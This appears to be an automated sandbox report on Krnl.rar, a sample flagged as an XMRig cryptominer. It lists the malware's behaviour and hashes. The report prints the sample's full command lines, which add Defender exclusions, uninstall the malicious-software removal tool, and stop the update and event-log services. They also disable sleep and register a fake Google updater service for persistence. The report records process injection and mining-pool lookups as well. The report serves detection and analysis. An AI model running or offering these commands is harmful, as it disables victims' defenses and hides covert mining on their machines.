Analysis Overview
SHA256
73b63a0da8648a81916cc2deadd07b9345ff7cf268f2a9a35c25b43fa3ba312a
Threat Level: Known bad
The file Krnl.rar was found to be: Known bad.
Malicious Activity Summary
xmrig
XMRig Miner payload
Drops file in Drivers directory
Stops running service(s)
Command and Scripting Interpreter: PowerShell
Creates new service(s)
Executes dropped EXE
UPX packed file
Deletes itself
Loads dropped DLL
Drops file in System32 directory
Suspicious use of SetThreadContext
Launches sc.exe
Drops file in Windows directory
Unsigned PE
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Modifies data under HKEY_USERS
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-14 15:44
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-14 15:44
Reported
2024-06-14 15:47
Platform
win7-20240508-en
Max time kernel
150s
Max time network
149s
Command Line
Signatures
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
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| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Creates new service(s)
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\system32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Krnl.exe | N/A |
| File created | C:\Windows\system32\drivers\etc\hosts | C:\ProgramData\Google\Chrome\updater.exe | N/A |
Stops running service(s)
Deletes itself
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | C:\ProgramData\Google\Chrome\updater.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
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Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\MRT.exe | C:\Users\Admin\AppData\Local\Temp\Krnl.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\system32\MRT.exe | C:\ProgramData\Google\Chrome\updater.exe | N/A |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2432 set thread context of 2956 | N/A | C:\ProgramData\Google\Chrome\updater.exe | C:\Windows\system32\conhost.exe |
| PID 2432 set thread context of 2064 | N/A | C:\ProgramData\Google\Chrome\updater.exe | C:\Windows\explorer.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\wusa.lock | C:\Windows\system32\wusa.exe | N/A |
| File created | C:\Windows\wusa.lock | C:\Windows\system32\wusa.exe | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 806dded171beda01 | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\explorer.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Krnl.exe
"C:\Users\Admin\AppData\Local\Temp\Krnl.exe"
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Krnl.exe"
C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe
C:\Windows\explorer.exe
explorer.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
| US | 8.8.8.8:53 | xmr-eu1.nanopool.org | udp |
Files
memory/2664-4-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp
memory/2664-5-0x000000001B5A0000-0x000000001B882000-memory.dmp
memory/2664-6-0x0000000002030000-0x0000000002038000-memory.dmp
memory/2664-7-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/2664-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/2664-8-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/2664-10-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
memory/2664-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp
C:\ProgramData\Google\Chrome\updater.exe
| MD5 | 4570ebfb64c5e9660e0fe27877adae01 |
| SHA1 | a4a9e2218828cd81ab77791154801e87b0f6a099 |
| SHA256 | aa16c6dac9061821fb5f8b99138fa21a9f031c0606789e36eeb8be9d274b823d |
| SHA512 | 3c65deaf97f1af90e13d9a56b0b34845171692be4aec48fda4170d8993e1af8aaed3c84e7f685ed13b973ea9bece24d96c07a961378b9aac3cb18ff0c0b19bad |
memory/1028-18-0x00000000009D0000-0x00000000009D8000-memory.dmp
memory/1028-17-0x0000000019DC0000-0x000000001A0A2000-memory.dmp
memory/2956-26-0x0000000140000000-0x000000014000E000-memory.dmp
memory/2956-24-0x0000000140000000-0x000000014000E000-memory.dmp
memory/2956-22-0x0000000140000000-0x000000014000E000-memory.dmp
memory/2956-21-0x0000000140000000-0x000000014000E000-memory.dmp
memory/2064-30-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-31-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2956-28-0x0000000140000000-0x000000014000E000-memory.dmp
memory/2956-23-0x0000000140000000-0x000000014000E000-memory.dmp
memory/2064-34-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-38-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-37-0x00000000001B0000-0x00000000001D0000-memory.dmp
memory/2064-36-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-42-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-41-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-40-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-39-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-35-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-33-0x0000000140000000-0x0000000140848000-memory.dmp
memory/2064-32-0x0000000140000000-0x0000000140848000-memory.dmp
C:\Windows\system32\drivers\etc\hosts
| MD5 | 3e9af076957c5b2f9c9ce5ec994bea05 |
| SHA1 | a8c7326f6bceffaeed1c2bb8d7165e56497965fe |
| SHA256 | e332ebfed27e0bb08b84dfda05acc7f0fa1b6281678e0120c5b7c893a75df47e |
| SHA512 | 933ba0d69e7b78537348c0dc1bf83fb069f98bb93d31c638dc79c4a48d12d879c474bd61e3cbde44622baef5e20fb92ebf16c66128672e4a6d4ee20afbf9d01f |
memory/2064-43-0x0000000140000000-0x0000000140848000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-14 15:44
Reported
2024-06-14 15:45
Platform
win10v2004-20240611-en
Max time kernel
39s
Max time network
38s
Command Line
Signatures
xmrig
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
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Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Creates new service(s)
Drops file in Drivers directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\system32\drivers\etc\hosts | C:\Users\Admin\AppData\Local\Temp\Krnl.exe | N/A |
| File created | C:\Windows\system32\drivers\etc\hosts | C:\ProgramData\Google\Chrome\updater.exe | N/A |
Stops running service(s)
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\Google\Chrome\updater.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
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Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\system32\MRT.exe | C:\Users\Admin\AppData\Local\Temp\Krnl.exe | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File created | C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\system32\MRT.exe | C:\ProgramData\Google\Chrome\updater.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3164 set thread context of 4592 | N/A | C:\ProgramData\Google\Chrome\updater.exe | C:\Windows\system32\conhost.exe |
| PID 3164 set thread context of 4188 | N/A | C:\ProgramData\Google\Chrome\updater.exe | C:\Windows\explorer.exe |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
| N/A | N/A | C:\Windows\system32\sc.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeLockMemoryPrivilege | N/A | C:\Windows\explorer.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\system32\powercfg.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\Krnl.exe
"C:\Users\Admin\AppData\Local\Temp\Krnl.exe"
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\Krnl.exe"
C:\ProgramData\Google\Chrome\updater.exe
C:\ProgramData\Google\Chrome\updater.exe
C:\Windows\system32\choice.exe
choice /C Y /N /D Y /T 3
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
C:\Windows\system32\conhost.exe
